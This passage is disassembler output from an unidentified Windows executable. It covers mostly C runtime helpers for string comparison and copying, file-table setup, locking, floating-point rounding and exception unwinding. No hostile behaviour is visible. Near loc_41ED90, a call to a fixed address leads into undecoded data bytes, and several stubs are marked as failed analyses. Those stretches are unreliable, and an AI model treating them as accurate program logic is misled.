		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EBE3
		int	3		; Trap to Debugger


loc_41EBE3:				; CODE XREF: sub_41EB80+43j
					; sub_41EB80+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EBBF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_426BE0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EB80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EC40	proc near		; CODE XREF: seg000:0040A74Ap
					; seg000:0040A765p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41EC8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41EC8D
		test	eax, 1
		jz	short loc_41EC6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41ECBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41EC8A


loc_41EC6D:				; CODE XREF: sub_41EC40+20j
					; sub_41EC40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41ECBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41ECBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41EC6D


loc_41EC8A:				; CODE XREF: sub_41EC40+2Bj
					; sub_41EC40+84j
		pop	edi
		pop	esi

locret_41EC8C:				; CODE XREF: sub_41EC40+6j
		retn
; ---------------------------------------------------------------------------


loc_41EC8D:				; CODE XREF: sub_41EC40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41ECC2
		repe cmpsd
		jz	short loc_41ECC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41ECB5
		cmp	ch, dh
		jnz	short loc_41ECB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41ECB5
		cmp	ch, dh


loc_41ECB5:				; CODE XREF: sub_41EC40+63j
					; sub_41EC40+67j ...
		mov	eax, 0


loc_41ECBA:				; CODE XREF: sub_41EC40+26j
					; sub_41EC40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ECC2:				; CODE XREF: sub_41EC40+55j
					; sub_41EC40+59j
		test	eax, eax
		jz	short loc_41EC8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41ECB5
		dec	eax
		jz	short loc_41ECE9
		cmp	dh, ch
		jnz	short loc_41ECB5
		dec	eax
		jz	short loc_41ECE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41ECB5
		dec	eax


loc_41ECE9:				; CODE XREF: sub_41EC40+8Fj
					; sub_41EC40+96j
		pop	edi
		pop	esi
		retn
sub_41EC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECF0	proc near		; CODE XREF: sub_40A958+7Ap
					; sub_40A958+8Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41ECFA:				; CODE XREF: sub_41ECF0+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_41ED11
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		jmp	short loc_41ECFA
; ---------------------------------------------------------------------------


loc_41ED11:				; CODE XREF: sub_41ECF0+14j
					; sub_41ECF0+4Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	ax, [edx]
		mov	[ecx], ax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		test	edx, edx
		jz	short loc_41ED3D
		jmp	short loc_41ED11
; ---------------------------------------------------------------------------


loc_41ED3D:				; CODE XREF: sub_41ECF0+49j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_41ECF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED50	proc near		; CODE XREF: sub_40F19D+333p
					; sub_40F19D+3A9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41ED5A:				; CODE XREF: sub_41ED50+34j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	ax, [edx]
		mov	[ecx], ax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		test	edx, edx
		jz	short loc_41ED86
		jmp	short loc_41ED5A
; ---------------------------------------------------------------------------


loc_41ED86:				; CODE XREF: sub_41ED50+32j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_41ED50	endp

; ---------------------------------------------------------------------------
		align 10h


loc_41ED90:				; CODE XREF: sub_40C5EF+1CCp
		push	ebp
		mov	ebp, esp
		sub	esp, 0D8h
		lea	eax, [ebp-24h]
		push	eax
		call	ds:dword_4F13C8	; GetLocalTime
		lea	ecx, [ebp-10h]
		push	ecx
		call	near ptr 3D0000h
		leave
		mov	edx, [ebp-6]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, ds:word_4EE9C2
		cmp	edx, eax
		jnz	short loc_41EE28
		mov	ecx, [ebp-8]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, ds:word_4EE9C0
		cmp	ecx, edx
		jnz	short loc_41EE28
		mov	eax, [ebp-0Ah]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cx, ds:word_4EE9BE
		cmp	eax, ecx
		jnz	short loc_41EE28
		mov	edx, [ebp-0Eh]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, ds:word_4EE9BA
		cmp	edx, eax
		jnz	short loc_41EE28
		mov	ecx, [ebp-10h]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, ds:word_4EE9B8
		cmp	ecx, edx
		jnz	short loc_41EE28
		mov	eax, ds:dword_4EE9B0
		mov	[ebp-0D8h], eax
		jmp	loc_41EEB0
; ---------------------------------------------------------------------------


loc_41EE28:				; CODE XREF: seg000:0041EDC0j
					; seg000:0041EDD6j ...
		lea	ecx, [ebp-0D0h]
		push	ecx
		call	near ptr 3D0000h
		mov	ecx, [ecx-0D37Bh]
		inc	dword ptr [ebx-0D343h]
; ---------------------------------------------------------------------------
		dd 3474FFFFh, 0FF2CBD83h, 7502FFFFh, 0CA558B1Fh, 0FFFFE281h
		dd 0D2850000h, 7D831274h, 0C7400D8h, 0FF2885C7h, 1FFFFh
		dd 0AEB0000h, 0FF2885C7h, 0FFFFh, 0AEB0000h, 0FF2885C7h
		dd 0FFFFFFFFh, 858BFFFFh, 0FFFFFF28h, 4EE9B0A3h, 0F04D8B00h
		dd 0E9B80D89h, 558B004Eh, 0BC1589F4h, 8B004EE9h, 0C0A3F845h
		dd 8B004EE9h, 0D89FC4Dh, 4EE9C4h
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: seg000:0041EE23j
		mov	edx, [ebp-0D8h]
		push	edx
		mov	eax, [ebp-18h]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-1Ah]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp-1Ch]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp-1Eh]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-22h]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp-24h]
		and	edx, 0FFFFh
		push	edx
		call	sub_4280E0
		add	esp, 1Ch
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp+8], 0
		jz	short loc_41EF0A
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[eax], ecx


loc_41EF0A:				; CODE XREF: seg000:0041EF00j
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; DATA XREF: seg002:0043C01Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4F0080, 0
		jnz	short loc_41EF39
		mov	ds:dword_4F0080, 200h
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF39:				; CODE XREF: sub_41EF20+Bj
		cmp	ds:dword_4F0080, 14h
		jge	short loc_41EF4C
		mov	ds:dword_4F0080, 14h


loc_41EF4C:				; CODE XREF: sub_41EF20+17j
					; sub_41EF20+20j
		push	83h
		push	offset a_file_c	; "_file.c"
		push	2
		push	4
		mov	eax, ds:dword_4F0080
		push	eax
		call	sub_41B270
		add	esp, 14h
		mov	ds:dword_4EF06C, eax
		cmp	ds:dword_4EF06C, 0
		jnz	short loc_41EFB5
		mov	ds:dword_4F0080, 14h
		push	86h
		push	offset a_file_c	; "_file.c"
		push	2
		push	4
		mov	ecx, ds:dword_4F0080
		push	ecx
		call	sub_41B270
		add	esp, 14h
		mov	ds:dword_4EF06C, eax
		cmp	ds:dword_4EF06C, 0
		jnz	short loc_41EFB5
		push	1Ah
		call	sub_420CA0
		add	esp, 4


loc_41EFB5:				; CODE XREF: sub_41EF20+54j
					; sub_41EF20+89j
		mov	[ebp+var_4], 0
		jmp	short loc_41EFC7
; ---------------------------------------------------------------------------


loc_41EFBE:				; CODE XREF: sub_41EF20+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41EFC7:				; CODE XREF: sub_41EF20+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_41EFE6
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_44FA70
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	[edx+ecx*4], eax
		jmp	short loc_41EFBE
; ---------------------------------------------------------------------------


loc_41EFE6:				; CODE XREF: sub_41EF20+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_41EFF8
; ---------------------------------------------------------------------------


loc_41EFEF:				; CODE XREF: sub_41EF20:loc_41F046j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41EFF8:				; CODE XREF: sub_41EF20+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_41F048
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_41F036
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_41F046


loc_41F036:				; CODE XREF: sub_41EF20+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	ds:dword_44FA80[ecx], 0FFFFFFFFh


loc_41F046:				; CODE XREF: sub_41EF20+114j
		jmp	short loc_41EFEF
; ---------------------------------------------------------------------------


loc_41F048:				; CODE XREF: sub_41EF20+DCj
		mov	esp, ebp
		pop	ebp
		retn
sub_41EF20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F050	proc near		; DATA XREF: seg002:0043C034o
		push	ebp
		mov	ebp, esp
		call	sub_4217E0
		movsx	eax, ds:byte_4EE9A0
		test	eax, eax
		jz	short loc_41F068
		call	sub_4285A0


loc_41F068:				; CODE XREF: sub_41F050+11j
		pop	ebp
		retn
sub_41F050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F070	proc near		; CODE XREF: sub_41ACF0+55p
					; sub_41CDD0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_44FA70
		jb	short loc_41F09E
		cmp	[ebp+arg_0], offset dword_44FCD0
		ja	short loc_41F09E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_44FA70
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_421A80
		add	esp, 4
		jmp	short loc_41F0AB
; ---------------------------------------------------------------------------


loc_41F09E:				; CODE XREF: sub_41F070+Aj
					; sub_41F070+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	ds:dword_4F1364	; RtlEnterCriticalSection


loc_41F0AB:				; CODE XREF: sub_41F070+2Cj
		pop	ebp
		retn
sub_41F070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F0B0	proc near		; CODE XREF: sub_4217F0+7Ep
					; sub_4248B0+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41F0CA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_421A80
		add	esp, 4
		jmp	short loc_41F0D7
; ---------------------------------------------------------------------------


loc_41F0CA:				; CODE XREF: sub_41F0B0+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	ds:dword_4F1364	; RtlEnterCriticalSection


loc_41F0D7:				; CODE XREF: sub_41F0B0+18j
		pop	ebp
		retn
sub_41F0B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F0E0	proc near		; CODE XREF: sub_41ACF0+70p
					; sub_41CDD0+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_44FA70
		jb	short loc_41F10E
		cmp	[ebp+arg_0], offset dword_44FCD0
		ja	short loc_41F10E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_44FA70
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_421B20
		add	esp, 4
		jmp	short loc_41F11B
; ---------------------------------------------------------------------------


loc_41F10E:				; CODE XREF: sub_41F0E0+Aj
					; sub_41F0E0+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	ds:dword_4F1360	; RtlLeaveCriticalSection


loc_41F11B:				; CODE XREF: sub_41F0E0+2Cj
		pop	ebp
		retn
sub_41F0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F120	proc near		; CODE XREF: sub_4217F0+116p
					; sub_4248B0+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41F13A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_421B20
		add	esp, 4
		jmp	short loc_41F147
; ---------------------------------------------------------------------------


loc_41F13A:				; CODE XREF: sub_41F120+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	ds:dword_4F1360	; RtlLeaveCriticalSection


loc_41F147:				; CODE XREF: sub_41F120+18j
		pop	ebp
		retn
sub_41F120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41F150(double)

sub_41F150	proc near		; CODE XREF: sub_40CFCB+38p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, ds:dword_44FCF0
		push	eax
		call	sub_4295E0
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41F20B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_4293E0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_41F1E2
		cmp	[ebp+var_10], 2
		jle	short loc_41F1AE
		cmp	[ebp+var_10], 3
		jz	short loc_41F1C7
		jmp	short loc_41F1E2
; ---------------------------------------------------------------------------


loc_41F1AE:				; CODE XREF: sub_41F150+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_41F281
; ---------------------------------------------------------------------------


loc_41F1C7:				; CODE XREF: sub_41F150+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_4286A0
		add	esp, 10h
		jmp	loc_41F281
; ---------------------------------------------------------------------------


loc_41F1E2:				; CODE XREF: sub_41F150+4Ej
					; sub_41F150+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	ds:dbl_439CE8
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_428770
		add	esp, 1Ch
		jmp	short loc_41F281
; ---------------------------------------------------------------------------


loc_41F20B:				; CODE XREF: sub_41F150+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_428680
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_41F241
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41F281
; ---------------------------------------------------------------------------


loc_41F241:				; CODE XREF: sub_41F150+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_41F261
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41F281
; ---------------------------------------------------------------------------


loc_41F261:				; CODE XREF: sub_41F150+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_428770
		add	esp, 1Ch


loc_41F281:				; CODE XREF: sub_41F150+72j
					; sub_41F150+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41F150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F290	proc near		; CODE XREF: sub_41D990+Cp
					; DATA XREF: seg002:off_44FCFCo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_41F2D0
		call	sub_429720
		mov	ds:dword_4EE9D0, eax
		call	sub_4296A0
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2C0	proc near		; DATA XREF: seg002:0044FD00o
					; seg002:0044FD04o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_41F2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D0	proc near		; CODE XREF: sub_41F290+6p
		push	ebp
		mov	ebp, esp
		mov	ds:off_4503F8, offset sub_429E10
		mov	ds:off_4503FC, offset sub_429820
		mov	ds:off_450400, offset sub_429930
		mov	ds:off_450404, offset sub_429770
		mov	ds:off_450408, offset sub_429900
		mov	ds:off_45040C, offset sub_429E10
		pop	ebp
		retn
sub_41F2D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EE9CC
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	ds:dword_4EE9CC, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F33C	proc near		; CODE XREF: sub_40CFCB+1Bp
					; sub_40CFCB+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41F33C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41F370(double)

sub_41F370	proc near		; CODE XREF: sub_40D017+79p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, ds:dword_44FD08
		push	eax
		call	sub_4295E0
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41F42B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_4293E0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_41F402
		cmp	[ebp+var_10], 2
		jle	short loc_41F3CE
		cmp	[ebp+var_10], 3
		jz	short loc_41F3E7
		jmp	short loc_41F402
; ---------------------------------------------------------------------------


loc_41F3CE:				; CODE XREF: sub_41F370+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_41F4A1
; ---------------------------------------------------------------------------


loc_41F3E7:				; CODE XREF: sub_41F370+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_4286A0
		add	esp, 10h
		jmp	loc_41F4A1
; ---------------------------------------------------------------------------


loc_41F402:				; CODE XREF: sub_41F370+4Ej
					; sub_41F370+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	ds:dbl_439CE8
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_428770
		add	esp, 1Ch
		jmp	short loc_41F4A1
; ---------------------------------------------------------------------------


loc_41F42B:				; CODE XREF: sub_41F370+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_428680
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_41F461
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41F4A1
; ---------------------------------------------------------------------------


loc_41F461:				; CODE XREF: sub_41F370+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_41F481
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4295E0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_41F4A1
; ---------------------------------------------------------------------------


loc_41F481:				; CODE XREF: sub_41F370+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_428770
		add	esp, 1Ch


loc_41F4A1:				; CODE XREF: sub_41F370+72j
					; sub_41F370+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41F370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4B0	proc near		; CODE XREF: sub_42A540+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41F4B0	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F4F0	proc near		; CODE XREF: sub_42AA20+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41F4F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F500	proc near		; CODE XREF: sub_42A7A0+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41F500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F510	proc near		; CODE XREF: sub_42A7A0+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41F510	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F520	proc near		; CODE XREF: sub_41F770+66p
					; sub_42A540+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41F54C
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_437A7C	; RtlUnwind


loc_41F54C:				; DATA XREF: sub_41F520+12o
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_41F520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

